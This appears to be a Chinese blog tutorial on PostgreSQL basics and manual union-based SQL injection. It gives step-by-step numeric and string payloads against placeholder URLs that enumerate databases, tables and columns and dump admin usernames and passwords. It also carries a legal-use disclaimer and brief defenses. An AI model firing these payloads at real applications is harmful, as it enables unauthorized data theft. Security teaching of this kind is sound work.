PostgreSQL(Postgres)数据库基础用法 + 数字型 + 字符型 完整联合注入实战

前言

PostgreSQL(简称 PG、Postgres) 是目前开源界最强大、企业级最常用的数据库之一,语法严谨、功能强大,在 Web 渗透测试中出现频率极高。

本文从零带你掌握 PostgreSQL 基础必备知识点 ,再完整讲解数字型、字符型联合注入全流程,一步步爆出库名、表名、字段名、数据,步骤超详细、新手也能看懂。

⚠️ 免责声明:本文仅用于网络安全合法学习、企业自身漏洞自查,严禁用于未授权渗透、非法攻击、数据窃取,违规后果自负!


一、PostgreSQL 数据库基础必学知识点

1.1 基础核心概念

  1. 数据库(Database):PG 独立的库,和 MySQL 库概念一致。
  2. 模式(Schema) :库下面的分类,默认是 public
  3. 用户 / 角色:登录账号,权限分普通用户、超级用户(superuser)。
  4. :存在 库.模式.表名 结构下。

1.2 注入核心系统表 & 函数(最重要)

PostgreSQL 没有 MySQL 的 information_schema 那么简单,但有固定系统表

  1. pg_database:查所有数据库名
  2. pg_tables:查所有表名
  3. information_schema.columns:查所有字段名
  4. current_database():当前数据库名
  5. version():数据库版本
  6. current_user:当前登录用户

1.3 PG 基础语法特点

表格

功能 PostgreSQL 语法
查询版本 SELECT version();
当前库名 SELECT current_database();
当前用户 SELECT current_user;
联合查询 UNION / UNION ALL
注释符 -- /* */
字符串 单引号 '
无表查询 可直接 SELECT 1,无需伪表

二、PostgreSQL 联合注入核心知识点

2.1 什么是联合注入

通过 UNION SELECT 拼接恶意查询,把结果显示在页面回显位,直接读取敏感数据。

2.2 两大注入类型

  1. 数字型:无单引号包裹
  2. 字符型:单引号包裹(最常见)

2.3 注入必备条件

  • 页面有回显位置
  • 后端无过滤、无预编译
  • UNION 前后字段数量必须一致
  • 字段类型尽量兼容(数字、字符串可混用)

三、PostgreSQL 完整联合注入实战(数字型 + 字符型)

统一环境假设

  • 原查询字段数:3 个
  • 页面存在显位
  • 注释符:-- (必须带空格)

第一部分:数字型联合注入

原理

后台 SQL:

sql

复制代码
SELECT id,title,content FROM news WHERE id=1

无单引号,直接注入。

完整步骤

1. 判断注入

plaintext

复制代码
http://xxx.com/news?id=1'

页面报 PG 错误 → 存在注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?id=1 ORDER BY 3-- 

3 正常,4 报错 → 3 个字段

3. 判断显位

plaintext

复制代码
http://xxx.com/news?id=-1 UNION SELECT 1,2,3-- 
4. 爆库名、表名、字段、数据

sql

复制代码
-- 版本
?id=-1 UNION SELECT 1,version(),3-- 

-- 当前库名
?id=-1 UNION SELECT 1,current_database(),3-- 

-- 所有数据库
?id=-1 UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表名
?id=-1 UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段名
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?id=-1 UNION SELECT 1,username,password FROM admin-- 

第二部分:字符型联合注入(重点!实战最多)

核心原理

后台 SQL:

sql

复制代码
SELECT id,title FROM news WHERE name='test'

字符型固定格式:

plaintext

复制代码
?参数=xxx' 注入语句 -- 

规则:

  1. 单引号 ' 闭合前面
  2. 写注入语句
  3. -- 注释后面多余的单引号

字符型完整步骤

目标 URL:

plaintext

复制代码
http://xxx.com/news?name=test
1. 判断字符型注入

plaintext

复制代码
http://xxx.com/news?name=test'

报错 → 存在字符型注入。

2. 判断字段数

plaintext

复制代码
http://xxx.com/news?name=test' ORDER BY 3-- 
3. 判断显位

plaintext

复制代码
http://xxx.com/news?name=-1' UNION SELECT 1,2,3-- 
4. 字符型全套 Payload(直接复制用)

sql

复制代码
-- 版本
?name=-1' UNION SELECT 1,version(),3-- 

-- 当前库名
?name=-1' UNION SELECT 1,current_database(),3-- 

-- 所有库
?name=-1' UNION SELECT 1,datname,3 FROM pg_database-- 

-- 所有表
?name=-1' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- 

-- 字段
?name=-1' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='admin'-- 

-- 数据
?name=-1' UNION SELECT 1,username,password FROM admin-- 

四、数字型 & 字符型 Payload 对比表

表格

操作 数字型 Payload 字符型 Payload
检测注入 ?id=1' ?name=test'
查字段数 ?id=1 ORDER BY 3-- ?name=test' ORDER BY 3--
查显位 ?id=-1 UNION SELECT 1,2,3-- ?name=-1' UNION SELECT 1,2,3--
查库名 ?id=-1 UNION SELECT 1,current_database(),3-- ?name=-1' UNION SELECT 1,current_database(),3--

五、PostgreSQL 注入记忆口诀

单引号闭合,联合查询拼字段,注释结尾带空格


六、PostgreSQL 注入防御方案

  1. 使用预编译语句,杜绝 SQL 拼接
  2. 过滤单引号、UNION、SELECT 等关键字
  3. 数据库账号使用最小权限
  4. 关闭数据库错误回显
  5. 使用 WAF 拦截注入攻击

七、结尾

到这里,PostgreSQL 数据库基础 + 数字型、字符型联合注入 全套教程就给大家彻底讲完了!从基础语法、系统表,到手工爆库、爆表、爆字段、脱数据,全部一步一步讲得清清楚楚。

PostgreSQL 是现在 Web 安全最常考、最常用的数据库之一,学会它,你就掌握了渗透测试里又一核心技能!

如果这篇干货对你有帮助,一定记得点赞、收藏、关注博主

相关推荐
Database_Cool_8 小时前
云原生多租户隔离 + 近实时分析怎么选型?阿里云 AnalyticDB MySQL 资源隔离方案
数据库·mysql·阿里云
小马爱打代码14 小时前
Redis 集群方案详解:主从复制、哨兵、脑裂、分片集群和哈希槽
数据库·redis·哈希算法
暴躁小师兄数据学院16 小时前
【AI大数据工程师特训笔记】第12讲:表分区与索引
大数据·笔记·sql·postgresql
海南java第二人16 小时前
ClickHouse 稀疏索引深度解析:为什么 OLAP 数据库不用 B-Tree?
数据库·clickhouse
Litluecat16 小时前
信创迁移:Oracle切换海量数据库,慢sql扫描
数据库·sql·oracle·信创·海量
DO_Community16 小时前
DigitalOcean 的 AI 推理路由器是如何构建的
人工智能·开源·agent·claude·deepseek
消失在人海中16 小时前
Oracle的CURRENT REDO丢失,数据丢失风险分析
数据库·oracle
喵了几个咪17 小时前
选择第三方IAM还是自建权限体系?中小型后台系统权限架构决策指南
数据库·oracle·架构
冬奇Lab17 小时前
每日一个开源项目(第121篇):tiktoken - OpenAI 出品的极速 BPE 分词器
人工智能·开源·openai